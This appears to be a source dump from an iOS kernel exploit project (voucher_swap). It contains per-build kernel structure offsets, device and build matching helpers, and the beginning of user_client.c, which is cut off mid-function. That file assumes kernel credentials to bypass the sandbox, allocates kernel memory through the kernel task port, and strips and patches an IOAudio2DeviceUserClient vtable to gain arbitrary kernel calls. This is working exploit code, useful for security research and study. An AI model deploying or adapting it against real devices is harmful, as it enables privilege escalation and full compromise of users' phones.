p_ucred) = 0xf8; 98 | OFFSET(proc, task) = 0x10; 99 | OFFSET(proc, p_list) = 0x8; 100 | 101 | SIZE(sysctl_oid) = 0x50; 102 | OFFSET(sysctl_oid, oid_parent) = 0x0; 103 | OFFSET(sysctl_oid, oid_link) = 0x8; 104 | OFFSET(sysctl_oid, oid_kind) = 0x14; 105 | OFFSET(sysctl_oid, oid_handler) = 0x30; 106 | OFFSET(sysctl_oid, oid_version) = 0x48; 107 | OFFSET(sysctl_oid, oid_refcnt) = 0x4c; 108 | 109 | OFFSET(task, lck_mtx_type) = 0xb; 110 | OFFSET(task, ref_count) = 0x10; 111 | OFFSET(task, active) = 0x14; 112 | OFFSET(task, map) = 0x20; 113 | OFFSET(task, itk_space) = 0x300; 114 | OFFSET(task, bsd_info) = 0x368; 115 | } 116 | 117 | // Initialization for iPhone10,1 16B92 (and similar devices). 118 | static void 119 | offsets__iphone10_1__16B92() { 120 | offsets__iphone11_8__16C50(); 121 | 122 | OFFSET(task, bsd_info) = 0x358; 123 | } 124 | 125 | // Initialization for iPhone10,1 16B92 (and similar devices). 126 | static void 127 | offsets__iphone9_3__15E302() { 128 | SIZE(ipc_entry) = 0x18; 129 | OFFSET(ipc_entry, ie_object) = 0; 130 | OFFSET(ipc_entry, ie_bits) = 8; 131 | OFFSET(ipc_entry, ie_request) = 16; 132 | 133 | SIZE(ipc_port) = 0xa8; 134 | BLOCK_SIZE(ipc_port) = 0x4000; 135 | OFFSET(ipc_port, ip_bits) = 0; 136 | OFFSET(ipc_port, ip_references) = 4; 137 | OFFSET(ipc_port, waitq_flags) = 24; 138 | OFFSET(ipc_port, imq_messages) = 0x40; 139 | OFFSET(ipc_port, imq_msgcount) = 0x50; 140 | OFFSET(ipc_port, imq_qlimit) = 0x52; 141 | OFFSET(ipc_port, ip_receiver) = 0x60; 142 | OFFSET(ipc_port, ip_kobject) = 0x68; 143 | OFFSET(ipc_port, ip_nsrequest) = 0x70; 144 | OFFSET(ipc_port, ip_requests) = 0x80; 145 | OFFSET(ipc_port, ip_mscount) = 0x9c; 146 | OFFSET(ipc_port, ip_srights) = 0xa0; 147 | 148 | SIZE(ipc_port_request) = 0x10; 149 | OFFSET(ipc_port_request, ipr_soright) = 0; 150 | 151 | OFFSET(ipc_space, is_table_size) = 0x14; 152 | OFFSET(ipc_space, is_table) = 0x20; 153 | 154 | SIZE(ipc_voucher) = 0x50; 155 | BLOCK_SIZE(ipc_voucher) = 0x4000; 156 | 157 | OFFSET(proc, p_pid) = 0x10; 158 | OFFSET(proc, p_ucred) = 0x100; 159 | OFFSET(proc, task) = 0x18; 160 | OFFSET(proc, p_list) = 0x8; 161 | 162 | SIZE(sysctl_oid) = 0x50; 163 | OFFSET(sysctl_oid, oid_parent) = 0x0; 164 | OFFSET(sysctl_oid, oid_link) = 0x8; 165 | OFFSET(sysctl_oid, oid_kind) = 0x14; 166 | OFFSET(sysctl_oid, oid_handler) = 0x30; 167 | OFFSET(sysctl_oid, oid_version) = 0x48; 168 | OFFSET(sysctl_oid, oid_refcnt) = 0x4c; 169 | 170 | OFFSET(task, lck_mtx_type) = 0xb; 171 | OFFSET(task, ref_count) = 0x10; 172 | OFFSET(task, active) = 0x14; 173 | OFFSET(task, map) = 0x20; 174 | OFFSET(task, itk_space) = 0x308; 175 | OFFSET(task, bsd_info) = 0x368; 176 | } 177 | 178 | // Initialize offset parameters whose values are computed from other parameters. 179 | static void 180 | initialize_computed_offsets() { 181 | COUNT_PER_BLOCK(ipc_port) = BLOCK_SIZE(ipc_port) / SIZE(ipc_port); 182 | COUNT_PER_BLOCK(ipc_voucher) = BLOCK_SIZE(ipc_voucher) / SIZE(ipc_voucher); 183 | } 184 | 185 | // A list of offset initializations by platform. 186 | static struct initialization offsets[] = { 187 | { "*", "15A5278f-15G77", offsets__iphone9_3__15E302 }, 188 | { "*", "16A366-16D5024a", offsets__iphone10_1__16B92 }, 189 | { "iPhone11,*", "16A366-16D5024a", offsets__iphone11_8__16C50 }, 190 | { "iPad8,*", "16A366-16D5024a", offsets__iphone11_8__16C50 }, 191 | { "*", "*", initialize_computed_offsets }, 192 | }; 193 | 194 | // The minimum number of offsets that must match in order to declare a platform initialized. 195 | static const size_t min_offsets = 2; 196 | 197 | // ---- Public API -------------------------------------------------------------------------------- 198 | 199 | bool 200 | parameters_init() { 201 | // Get general platform info. 202 | platform_init(); 203 | // Initialize general system parameters. 204 | run_initializations(system_parameters, ARRAY_COUNT(system_parameters)); 205 | // Initialize offsets. 206 | size_t count = run_initializations(offsets, ARRAY_COUNT(offsets)); 207 | if (count < min_offsets) { 208 | ERROR("no offsets for %s %s", platform.machine, platform.osversion); 209 | return false; 210 | } 211 | return true; 212 | } 213 | -------------------------------------------------------------------------------- /src/kernel_call/parameters.h: -------------------------------------------------------------------------------- 1 | /* 2 | * parameters.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__PARAMETERS_H_ 6 | #define VOUCHER_SWAP__PARAMETERS_H_ 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #ifdef PARAMETERS_EXTERN 13 | #define extern PARAMETERS_EXTERN 14 | #endif 15 | 16 | // Some helpful units. 17 | #define KB (1024uLL) 18 | #define MB (1024uLL * KB) 19 | #define GB (1024uLL * MB) 20 | 21 | // Generate the name for an offset. 22 | #define OFFSET(base_, object_) _##base_##__##object_##__offset_ 23 | 24 | // Generate the name for the size of an object. 25 | #define SIZE(object_) _##object_##__size_ 26 | 27 | // Generate the name for the size of a zalloc block of objects. 28 | #define BLOCK_SIZE(object_) _##object_##__block_size_ 29 | 30 | // Generate the name for the number of elements in a zalloc block. 31 | #define COUNT_PER_BLOCK(object_) _##object_##__per_block_ 32 | 33 | // Generate the name for the address of an object. 34 | #define ADDRESS(object_) _##object_##__address_ 35 | 36 | // Generate the name for the static (unslid) address of an object. 37 | #define STATIC_ADDRESS(object_) _##object_##__static_address_ 38 | 39 | // A convenience macro for accessing a field of a structure. 40 | #define FIELD(object_, struct_, field_, type_) \ 41 | ( *(type_ *) ( ((uint8_t *) object_) + OFFSET(struct_, field_) ) ) 42 | 43 | // The static base address of the kernel. 44 | extern uint64_t STATIC_ADDRESS(kernel_base); 45 | 46 | // The kernel_slide granularity. 47 | extern uint64_t kernel_slide_step; 48 | 49 | // Messages up to this size are allocated from the dedicated ipc.kmsgs zone. 50 | extern size_t message_size_for_kmsg_zone; 51 | 52 | // The size of elements in ipc.kmsgs. 53 | extern size_t kmsg_zone_size; 54 | 55 | // The maximum number of OOL ports in a single message. 56 | extern size_t max_ool_ports_per_message; 57 | 58 | // How much to allocate between sleeps while trying to trigger garbage collection. 59 | extern size_t gc_step; 60 | 61 | // Parameters for ipc_entry. 62 | extern size_t SIZE(ipc_entry); 63 | extern size_t OFFSET(ipc_entry, ie_object); 64 | extern size_t OFFSET(ipc_entry, ie_bits); 65 | extern size_t OFFSET(ipc_entry, ie_request); 66 | 67 | // Parameters for ipc_port. 68 | extern size_t SIZE(ipc_port); 69 | extern size_t BLOCK_SIZE(ipc_port); 70 | extern size_t COUNT_PER_BLOCK(ipc_port); 71 | extern size_t OFFSET(ipc_port, ip_bits); 72 | extern size_t OFFSET(ipc_port, ip_references); 73 | extern size_t OFFSET(ipc_port, waitq_flags); 74 | extern size_t OFFSET(ipc_port, imq_messages); 75 | extern size_t OFFSET(ipc_port, imq_msgcount); 76 | extern size_t OFFSET(ipc_port, imq_qlimit); 77 | extern size_t OFFSET(ipc_port, ip_receiver); 78 | extern size_t OFFSET(ipc_port, ip_kobject); 79 | extern size_t OFFSET(ipc_port, ip_nsrequest); 80 | extern size_t OFFSET(ipc_port, ip_requests); 81 | extern size_t OFFSET(ipc_port, ip_mscount); 82 | extern size_t OFFSET(ipc_port, ip_srights); 83 | 84 | // Parameters for ipc_port_request. 85 | extern size_t SIZE(ipc_port_request); 86 | extern size_t OFFSET(ipc_port_request, ipr_soright); 87 | 88 | // Parameters for struct ipc_space. 89 | extern size_t OFFSET(ipc_space, is_table_size); 90 | extern size_t OFFSET(ipc_space, is_table); 91 | 92 | // Parameters for ipc_voucher. 93 | extern size_t SIZE(ipc_voucher); 94 | extern size_t BLOCK_SIZE(ipc_voucher); 95 | extern size_t COUNT_PER_BLOCK(ipc_voucher); 96 | 97 | // Parameters for struct proc. 98 | extern size_t OFFSET(proc, p_pid); 99 | extern size_t OFFSET(proc, p_ucred); 100 | extern size_t OFFSET(proc, task); 101 | extern size_t OFFSET(proc, p_list); 102 | 103 | // Parameters for struct sysctl_oid. 104 | extern size_t SIZE(sysctl_oid); 105 | extern size_t OFFSET(sysctl_oid, oid_parent); 106 | extern size_t OFFSET(sysctl_oid, oid_link); 107 | extern size_t OFFSET(sysctl_oid, oid_kind); 108 | extern size_t OFFSET(sysctl_oid, oid_handler); 109 | extern size_t OFFSET(sysctl_oid, oid_version); 110 | extern size_t OFFSET(sysctl_oid, oid_refcnt); 111 | 112 | // Parameters for struct task. 113 | extern size_t OFFSET(task, lck_mtx_type); 114 | extern size_t OFFSET(task, ref_count); 115 | extern size_t OFFSET(task, active); 116 | extern size_t OFFSET(task, map); 117 | extern size_t OFFSET(task, itk_space); 118 | extern size_t OFFSET(task, bsd_info); 119 | 120 | /* 121 | * parameters_init 122 | * 123 | * Description: 124 | * Initialize the parameters for the system. 125 | */ 126 | bool parameters_init(void); 127 | 128 | #undef extern 129 | 130 | #endif 131 | -------------------------------------------------------------------------------- /src/kernel_call/platform.c: -------------------------------------------------------------------------------- 1 | /* 2 | * platform.c 3 | * Brandon Azad 4 | */ 5 | #define PLATFORM_EXTERN 6 | #include "platform.h" 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #include "log.h" 14 | 15 | // ---- Initialization ---------------------------------------------------------------------------- 16 | 17 | void 18 | platform_init() { 19 | // Only initialize once. 20 | static bool initialized = false; 21 | if (initialized) { 22 | return; 23 | } 24 | initialized = true; 25 | // Set the page size. 26 | platform.page_size = vm_kernel_page_size; 27 | page_size = platform.page_size; 28 | // Get the machine name (e.g. iPhone11,8). 29 | struct utsname u = {}; 30 | int error = uname(&u); 31 | assert(error == 0); 32 | strncpy((char *)platform.machine, u.machine, sizeof(platform.machine)); 33 | // Get the build (e.g. 16C50). 34 | size_t osversion_size = sizeof(platform.osversion); 35 | error = sysctlbyname("kern.osversion", 36 | (void *)platform.osversion, &osversion_size, NULL, 0); 37 | assert(error == 0); 38 | // Get basic host info. 39 | mach_port_t host = mach_host_self(); 40 | assert(MACH_PORT_VALID(host)); 41 | host_basic_info_data_t basic_info; 42 | mach_msg_type_number_t count = HOST_BASIC_INFO_COUNT; 43 | kern_return_t kr = host_info(host, HOST_BASIC_INFO, (host_info_t) &basic_info, &count); 44 | assert(kr == KERN_SUCCESS); 45 | platform.cpu_type = basic_info.cpu_type; 46 | platform.cpu_subtype = basic_info.cpu_subtype; 47 | platform.physical_cpu = basic_info.physical_cpu; 48 | platform.logical_cpu = basic_info.logical_cpu; 49 | platform.memory_size = basic_info.max_mem; 50 | INFO("memory_size: %zu", platform.memory_size); 51 | mach_port_deallocate(mach_task_self(), host); 52 | // Log basic platform info. 53 | DEBUG_TRACE(1, "platform: %s %s", platform.machine, platform.osversion); 54 | } 55 | -------------------------------------------------------------------------------- /src/kernel_call/platform.h: -------------------------------------------------------------------------------- 1 | /* 2 | * platform.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__PLATFORM_H_ 6 | #define VOUCHER_SWAP__PLATFORM_H_ 7 | 8 | #include 9 | #include 10 | 11 | #ifdef PLATFORM_EXTERN 12 | #define extern PLATFORM_EXTERN 13 | #endif 14 | 15 | /* 16 | * platform 17 | * 18 | * Description: 19 | * Basic information about the platform. 20 | */ 21 | struct platform { 22 | /* 23 | * platform.machine 24 | * 25 | * Description: 26 | * The name of the platform, e.g. iPhone11,8. 27 | */ 28 | const char machine[32]; 29 | /* 30 | * platform.osversion 31 | * 32 | * Description: 33 | * The version of the OS build, e.g. 16C50. 34 | */ 35 | const char osversion[32]; 36 | /* 37 | * platform.cpu_type 38 | * 39 | * Description: 40 | * The platform CPU type. 41 | */ 42 | cpu_type_t cpu_type; 43 | /* 44 | * platform.cpu_subtype 45 | * 46 | * Description: 47 | * The platform CPU subtype. 48 | */ 49 | cpu_subtype_t cpu_subtype; 50 | /* 51 | * platform.physical_cpu 52 | * 53 | * Description: 54 | * The number of physical CPU cores. 55 | */ 56 | unsigned physical_cpu; 57 | /* 58 | * platform.logical_cpu 59 | * 60 | * Description: 61 | * The number of logical CPU cores. 62 | */ 63 | unsigned logical_cpu; 64 | /* 65 | * platform.page_size 66 | * 67 | * Description: 68 | * The kernel page size. 69 | */ 70 | size_t page_size; 71 | /* 72 | * platform.memory_size 73 | * 74 | * Description: 75 | * The size of physical memory on the device. 76 | */ 77 | size_t memory_size; 78 | }; 79 | extern struct platform platform; 80 | 81 | /* 82 | * page_size 83 | * 84 | * Description: 85 | * The kernel page size on this platform, made available globally for convenience. 86 | */ 87 | extern size_t page_size; 88 | 89 | /* 90 | * platform_init 91 | * 92 | * Description: 93 | * Initialize the platform. 94 | */ 95 | void platform_init(void); 96 | 97 | #undef extern 98 | 99 | #endif 100 | -------------------------------------------------------------------------------- /src/kernel_call/platform_match.c: -------------------------------------------------------------------------------- 1 | /* 2 | * platform_match.c 3 | * Brandon Azad 4 | */ 5 | #include "platform_match.h" 6 | 7 | #include 8 | #include 9 | 10 | #include "log.h" 11 | #include "platform.h" 12 | 13 | // ---- Matching helper functions ----------------------------------------------------------------- 14 | 15 | // Advance past any spaces in a string. 16 | static void 17 | skip_spaces(const char **p) { 18 | const char *pch = *p; 19 | while (*pch == ' ') { 20 | pch++; 21 | } 22 | *p = pch; 23 | } 24 | 25 | // ---- Device matching --------------------------------------------------------------------------- 26 | 27 | // A wildcard device version number. 28 | #define ANY ((unsigned)(-1)) 29 | 30 | // Parse the version part of a device string. 31 | static bool 32 | parse_device_version_internal(const char *device_version, unsigned *major, unsigned *minor, 33 | bool allow_wildcard, const char **end) { 34 | const char *p = device_version; 35 | // Parse the major version, which might be a wildcard. 36 | unsigned maj = 0; 37 | if (allow_wildcard && *p == '*') { 38 | maj = ANY; 39 | p++; 40 | } else { 41 | for (;;) { 42 | char ch = *p; 43 | if (ch < '0' || '9' < ch) { 44 | break; 45 | } 46 | maj = maj * 10 + (ch - '0'); 47 | p++; 48 | } 49 | } 50 | // Make sure we got the comma. 51 | if (*p != ',') { 52 | return false; 53 | } 54 | p++; 55 | // Parse the minor version, which might be a wildcard. 56 | unsigned min = 0; 57 | if (allow_wildcard && *p == '*') { 58 | min = ANY; 59 | p++; 60 | } else { 61 | for (;;) { 62 | char ch = *p; 63 | if (ch < '0' || '9' < ch) { 64 | break; 65 | } 66 | min = min * 10 + (ch - '0'); 67 | p++; 68 | } 69 | } 70 | // If end is NULL, then require that we're at the end of the string. Else, return the end 71 | // of what we parsed. 72 | if (end == NULL) { 73 | if (*p != 0) { 74 | return false; 75 | } 76 | } else { 77 | *end = p; 78 | } 79 | // Return the values. 80 | *major = maj; 81 | *minor = min; 82 | return true; 83 | } 84 | 85 | // Parse a device name. 86 | static bool 87 | parse_device_internal(const char *device, char *device_type, unsigned *major, unsigned *minor, 88 | bool allow_wildcard, const char **end) { 89 | // "iPhone11,8" -> "iPhone", 11, 8; "iPad7,*" -> "iPad", 7, ANY 90 | // If this device name doesn't have a comma then we don't know how to parse it. Just set 91 | // the whole thing as the device type. 92 | const char *comma = strchr(device, ','); 93 | if (comma == NULL) { 94 | unknown: 95 | strcpy(device_type, device); 96 | *major = 0; 97 | *minor = 0; 98 | return false; 99 | } 100 | // Walk backwards from the comma to the start of the major version. 101 | if (comma == device) { 102 | goto unknown; 103 | } 104 | const char *p = comma; 105 | for (;;) { 106 | char ch = *(p - 1); 107 | if (!(('0' <= ch && ch <= '9') || (allow_wildcard && ch == '*'))) { 108 | break; 109 | } 110 | p--; 111 | if (p == device) { 112 | goto unknown; 113 | } 114 | } 115 | if (p == comma) { 116 | goto unknown; 117 | } 118 | size_t device_type_length = p - device; 119 | // Parse the version numbers. 120 | bool ok = parse_device_version_internal(p, major, minor, allow_wildcard, end); 121 | if (!ok) { 122 | goto unknown; 123 | } 124 | // Return the device_type string. This is last in case it's shared with the device string. 125 | strncpy(device_type, device, device_type_length); 126 | device_type[device_type_length] = 0; 127 | return true; 128 | } 129 | 130 | // Parse a device name. 131 | static bool 132 | parse_device(const char *device, char *device_type, unsigned *major, unsigned *minor) { 133 | return parse_device_internal(device, device_type, major, minor, false, NULL); 134 | } 135 | 136 | // Parse a device range string. 137 | static bool 138 | parse_device_range(const char *device, char *device_type, 139 | unsigned *min_major, unsigned *min_minor, 140 | unsigned *max_major, unsigned *max_minor, 141 | const char **end) { 142 | char dev_type[32]; 143 | const char *next = device; 144 | // First parse a full device. 145 | bool ok = parse_device_internal(next, dev_type, min_major, min_minor, true, &next); 146 | if (!ok) { 147 | unknown: 148 | strcpy(device_type, device); 149 | *min_major = 0; 150 | *min_minor = 0; 151 | *max_major = 0; 152 | *max_minor = 0; 153 | return false; 154 | } 155 | // Optionally parse a separator and more versions. 156 | if (*next == 0) { 157 | *max_major = *min_major; 158 | *max_minor = *min_minor; 159 | } else if (*next == '-') { 160 | next++; 161 | ok = parse_device_version_internal(next, max_major, max_minor, true, &next); 162 | if (!ok) { 163 | goto unknown; 164 | } 165 | } 166 | *end = next; 167 | // Return the device_type. 168 | strcpy(device_type, dev_type); 169 | return true; 170 | } 171 | 172 | // Check if the given device number is numerically within range. 173 | static bool 174 | numerical_device_match(unsigned major, unsigned minor, 175 | unsigned min_major, unsigned min_minor, unsigned max_major, unsigned max_minor) { 176 | if (major < min_major && min_major != ANY) { 177 | return false; 178 | } 179 | if ((major == min_major || min_major == ANY) 180 | && minor < min_minor && min_minor != ANY) { 181 | return false; 182 | } 183 | if (major > max_major && max_major != ANY) { 184 | return false; 185 | } 186 | if ((major == max_major || max_major == ANY) 187 | && minor > max_minor && max_minor != ANY) { 188 | return false; 189 | } 190 | return true; 191 | } 192 | 193 | // Match a specific device against a device match list. 194 | static bool 195 | match_device(const char *device, const char *devices) { 196 | if (devices == NULL || strcmp(devices, "*") == 0) { 197 | return true; 198 | } 199 | // Parse this device. 200 | char device_type[32]; 201 | unsigned major, minor; 202 | parse_device(device, device_type, &major, &minor); 203 | // Parse the match list. 204 | const char *next = devices; 205 | while (*next != 0) { 206 | // Parse the next device range. 207 | char match_device_type[32]; 208 | unsigned min_major, min_minor, max_major, max_minor; 209 | parse_device_range(next, match_device_type, &min_major, &min_minor, 210 | &max_major, &max_minor, &next); 211 | if (*next != 0) { 212 | skip_spaces(&next); 213 | assert(*next == '|'); 214 | next++; 215 | skip_spaces(&next); 216 | assert(*next != 0); 217 | } 218 | // Check if this is a match. 219 | if (strcmp(device_type, match_device_type) == 0 220 | && numerical_device_match(major, minor, 221 | min_major, min_minor, max_major, max_minor)) { 222 | return true; 223 | } 224 | } 225 | return false; 226 | } 227 | 228 | // ---- Build matching ---------------------------------------------------------------------------- 229 | 230 | // Parse a build version string into a uint64_t. Maintains comparison order. 231 | static uint64_t 232 | parse_build_version(const char *build, const char **end) { 233 | // 16A5288q -> [2 bytes][1 byte][3 bytes][1 byte] 234 | const char *p = build; 235 | // Parse out the major number. 236 | uint64_t major = 0; 237 | for (;;) { 238 | char ch = *p; 239 | if (ch < '0' || '9' < ch) { 240 | break; 241 | } 242 | major = major * 10 + (ch - '0'); 243 | p++; 244 | } 245 | // Parse out the minor. 246 | uint64_t minor = 0; 247 | for (;;) { 248 | char ch = *p; 249 | if (ch < 'A' || 'Z' < ch) { 250 | break; 251 | } 252 | minor = (minor << 8) + ch; 253 | p++; 254 | } 255 | // Parse out the patch. 256 | uint64_t patch = 0; 257 | for (;;) { 258 | char ch = *p; 259 | if (ch < '0' || '9' < ch) { 260 | break; 261 | } 262 | patch = patch * 10 + (ch - '0'); 263 | p++; 264 | } 265 | // Parse out the alpha. 266 | uint64_t alpha = 0; 267 | for (;;) { 268 | char ch = *p; 269 | if (ch < 'a' || 'z' < ch) { 270 | break; 271 | } 272 | alpha = (alpha << 8) + ch; 273 | p++; 274 | } 275 | // Construct the full build version. 276 | if (end != NULL) { 277 | *end = p; 278 | } 279 | return ((major << (8 * 5)) 280 | | (minor << (8 * 4)) 281 | | (patch << (8 * 1)) 282 | | (alpha << (8 * 0))); 283 | } 284 | 285 | // Parse a build version range string. 286 | static void 287 | parse_build_version_range(const char *builds, uint64_t *version_min, uint64_t *version_max) { 288 | const char *next = builds; 289 | uint64_t min, max; 290 | // Parse the lower range. 291 | if (*next == '*') { 292 | min = 0; 293 | next++; 294 | } else { 295 | min = parse_build_version(next, &next); 296 | } 297 | // Parse the upper range (if it exists). 298 | if (*next == 0) { 299 | assert(min != 0); 300 | max = min; 301 | } else { 302 | skip_spaces(&next); 303 | assert(*next == '-'); 304 | next++; 305 | skip_spaces(&next); 306 | if (*next == '*') { 307 | max = (uint64_t)(-1); 308 | next++; 309 | } else { 310 | max = parse_build_version(next, &next); 311 | } 312 | assert(*next == 0); 313 | } 314 | *version_min = min; 315 | *version_max = max; 316 | } 317 | 318 | // Check if the given build version string matches the build range. 319 | static bool 320 | match_build(const char *build, const char *builds) { 321 | if (builds == NULL || strcmp(builds, "*") == 0) { 322 | return true; 323 | } 324 | uint64_t version = parse_build_version(build, NULL); 325 | uint64_t version_min, version_max; 326 | parse_build_version_range(builds, &version_min, &version_max); 327 | return (version_min <= version && version <= version_max); 328 | } 329 | 330 | // ---- Public API -------------------------------------------------------------------------------- 331 | 332 | bool 333 | platform_matches_device(const char *device_range) { 334 | return match_device(platform.machine, device_range); 335 | } 336 | 337 | bool 338 | platform_matches_build(const char *build_range) { 339 | return match_build(platform.osversion, build_range); 340 | } 341 | 342 | bool 343 | platform_matches(const char *device_range, const char *build_range) { 344 | return platform_matches_device(device_range) 345 | && platform_matches_build(build_range); 346 | } 347 | -------------------------------------------------------------------------------- /src/kernel_call/platform_match.h: -------------------------------------------------------------------------------- 1 | /* 2 | * platform_match.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__PLATFORM_MATCH_H_ 6 | #define VOUCHER_SWAP__PLATFORM_MATCH_H_ 7 | 8 | #include 9 | 10 | /* 11 | * platform_matches_device 12 | * 13 | * Description: 14 | * Check whether the current platform matches the specified device or range of devices. 15 | * 16 | * Match format: 17 | * The match string may either specify a single device glob or a range of device globs. For 18 | * example: 19 | * 20 | * "iPhone11,8" Matches only iPhone11,8 21 | * "iPhone11,*" Matches all iPhone11 devices, including e.g. iPhone11,4. 22 | * "iPhone*,*" Matches all iPhone devices. 23 | * "iPhone11,4-iPhone11,8" Matches all iPhone devices between 11,4 and 11,8, inclusive. 24 | * "iPhone10,*-11,*" Matches all iPhone10 and iPhone11 devices. 25 | * 26 | * As a special case, "*" matches all devices. 27 | */ 28 | bool platform_matches_device(const char *device_range); 29 | 30 | /* 31 | * platform_matches_build 32 | * 33 | * Description: 34 | * Check whether the current platform matches the specified build version or range of build 35 | * versions. 36 | * 37 | * Match format: 38 | * The match string may either specify a single build version or a range of build versions. 39 | * For example: 40 | * 41 | * "16C50" Matches only build 16C50. 42 | * "16B92-16C50" Matches all builds between 16B92 and 16C50, inclusive. 43 | * 44 | * As a special case, either build version may be replaced with "*" to indicate a lack of 45 | * lower or upper bound: 46 | * 47 | * "*-16B92" Matches all builds up to and including 16B92. 48 | * "16C50-*" Matches build 16C50 and later. 49 | * "*" Matches all build versions. 50 | */ 51 | bool platform_matches_build(const char *build_range); 52 | 53 | /* 54 | * platform_matches 55 | * 56 | * Description: 57 | * A convenience function that combines platform_matches_device() and 58 | * platform_matches_build(). 59 | */ 60 | bool platform_matches(const char *device_range, const char *build_range); 61 | 62 | #endif 63 | -------------------------------------------------------------------------------- /src/kernel_call/user_client.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call/user_client.c 3 | * Brandon Azad 4 | */ 5 | #include "user_client.h" 6 | 7 | #include 8 | 9 | #include "IOKitLib.h" 10 | #include "kernel_call.h" 11 | #include "kc_parameters.h" 12 | #include "pac.h" 13 | #include "kernel_memory.h" 14 | #include "kernel_slide.h" 15 | #include "log.h" 16 | #include "mach_vm.h" 17 | #include "parameters.h" 18 | 19 | // ---- Global variables -------------------------------------------------------------------------- 20 | 21 | // The connection to the user client. 22 | static io_connect_t connection; 23 | 24 | // The address of the user client. 25 | static uint64_t user_client; 26 | 27 | // The address of the IOExternalTrap. 28 | static uint64_t trap; 29 | 30 | // The size of our kernel buffer. 31 | static const size_t kernel_buffer_size = 0x4000; 32 | 33 | // The address of our kernel buffer. 34 | static uint64_t kernel_buffer; 35 | 36 | // The maximum size of the vtable. 37 | static const size_t max_vtable_size = 0x1000; 38 | 39 | // The user client's original vtable pointer. 40 | static uint64_t original_vtable; 41 | 42 | // ---- Stage 1 ----------------------------------------------------------------------------------- 43 | 44 | /* 45 | * kernel_get_proc_for_task 46 | * 47 | * Description: 48 | * Get the proc struct for a task. 49 | */ 50 | static uint64_t 51 | kernel_get_proc_for_task(uint64_t task) { 52 | return kernel_read64(task + OFFSET(task, bsd_info)); 53 | } 54 | 55 | /* 56 | * stage0_create_user_client 57 | * 58 | * Description: 59 | * Create a connection to an IOAudio2DeviceUserClient object. 60 | */ 61 | static bool 62 | stage0_create_user_client() { 63 | bool success = false; 64 | // First get a handle to some IOAudio2Device driver. 65 | io_iterator_t iter; 66 | kern_return_t kr = IOServiceGetMatchingServices( 67 | kIOMasterPortDefault, 68 | IOServiceMatching("IOAudio2Device"), 69 | &iter); 70 | if (iter == MACH_PORT_NULL) { 71 | ERROR("could not find services matching %s", "IOAudio2Device"); 72 | goto fail_0; 73 | } 74 | // Assume the kernel's credentials in order to look up the user client. Otherwise we'd be 75 | // denied with a sandbox error. 76 | uint64_t ucred_field, ucred; 77 | assume_kernel_credentials(&ucred_field, &ucred); 78 | // Now try to open each service in turn. 79 | for (;;) { 80 | // Get the service. 81 | mach_port_t IOAudio2Device = IOIteratorNext(iter); 82 | if (IOAudio2Device == MACH_PORT_NULL) { 83 | ERROR("could not open any %s", "IOAudio2Device"); 84 | break; 85 | } 86 | // Now open a connection to it. 87 | kr = IOServiceOpen( 88 | IOAudio2Device, 89 | mach_task_self(), 90 | 0, 91 | &connection); 92 | IOObjectRelease(IOAudio2Device); 93 | if (kr == KERN_SUCCESS) { 94 | success = true; 95 | break; 96 | } 97 | DEBUG_TRACE(2, "%s returned 0x%x: %s", "IOServiceOpen", kr, mach_error_string(kr)); 98 | DEBUG_TRACE(2, "could not open %s", "IOAudio2DeviceUserClient"); 99 | } 100 | // Restore the credentials. 101 | restore_credentials(ucred_field, ucred); 102 | fail_1: 103 | IOObjectRelease(iter); 104 | fail_0: 105 | return success; 106 | } 107 | 108 | /* 109 | * stage0_find_user_client_trap 110 | * 111 | * Description: 112 | * Get the address of the IOAudio2DeviceUserClient and its IOExternalTrap. 113 | */ 114 | static void 115 | stage0_find_user_client_trap() { 116 | assert(MACH_PORT_VALID(connection)); 117 | // Get the address of the port representing the IOAudio2DeviceUserClient. 118 | uint64_t user_client_port; 119 | bool ok = kernel_ipc_port_lookup(current_task, connection, &user_client_port, NULL); 120 | assert(ok); 121 | // Get the address of the IOAudio2DeviceUserClient. 122 | user_client = kernel_read64(user_client_port + OFFSET(ipc_port, ip_kobject)); 123 | // Get the address of the IOExternalTrap. 124 | trap = kernel_read64(user_client + OFFSET(IOAudio2DeviceUserClient, traps)); 125 | DEBUG_TRACE(2, "%s is at 0x%016llx", "IOExternalTrap", trap); 126 | } 127 | 128 | /* 129 | * stage0_allocate_kernel_buffer 130 | * 131 | * Description: 132 | * Allocate a buffer in kernel memory. 133 | */ 134 | static bool 135 | stage0_allocate_kernel_buffer() { 136 | kern_return_t kr = mach_vm_allocate(kernel_task_port, &kernel_buffer, 137 | kernel_buffer_size, VM_FLAGS_ANYWHERE); 138 | if (kr != KERN_SUCCESS) { 139 | ERROR("%s returned %d: %s", "mach_vm_allocate", kr, mach_error_string(kr)); 140 | ERROR("could not allocate kernel buffer"); 141 | return false; 142 | } 143 | DEBUG_TRACE(1, "allocated kernel buffer at 0x%016llx", kernel_buffer); 144 | return true; 145 | } 146 | 147 | // ---- Stage 3 ----------------------------------------------------------------------------------- 148 | 149 | /* 150 | * kernel_read_vtable_method 151 | * 152 | * Description: 153 | * Read the virtual method pointer at the specified index in the vtable. 154 | */ 155 | static uint64_t 156 | kernel_read_vtable_method(uint64_t vtable, size_t index) { 157 | uint64_t vmethod_address = vtable + index * sizeof(uint64_t); 158 | return kernel_read64(vmethod_address); 159 | } 160 | 161 | /* 162 | * stage2_copyout_user_client_vtable 163 | * 164 | * Description: 165 | * Copy out the user client's vtable to userspace. The returned array must be freed when no 166 | * longer needed. 167 | */ 168 | static uint64_t * 169 | stage2_copyout_user_client_vtable() { 170 | // Get the address of the vtable. 171 | original_vtable = kernel_read64(user_client); 172 | uint64_t original_vtable_xpac = kernel_xpacd(original_vtable); 173 | // Read the contents of the vtable to local buffer. 174 | uint64_t *vtable_contents = malloc(max_vtable_size); 175 | assert(vtable_contents != NULL); 176 | kernel_read(original_vtable_xpac, vtable_contents, max_vtable_size); 177 | return vtable_contents; 178 | } 179 | 180 | /* 181 | * stage2_patch_user_client_vtable 182 | * 183 | * Description: 184 | * Patch the contents of the user client's vtable in preparation for stage 3. 185 | */ 186 | static size_t 187 | stage2_patch_user_client_vtable(uint64_t *vtable) { 188 | // Replace the original vtable's IOUserClient::getTargetAndTrapForIndex() method with the 189 | // original version (which calls IOUserClient::getExternalTrapForIndex()). 190 | uint64_t 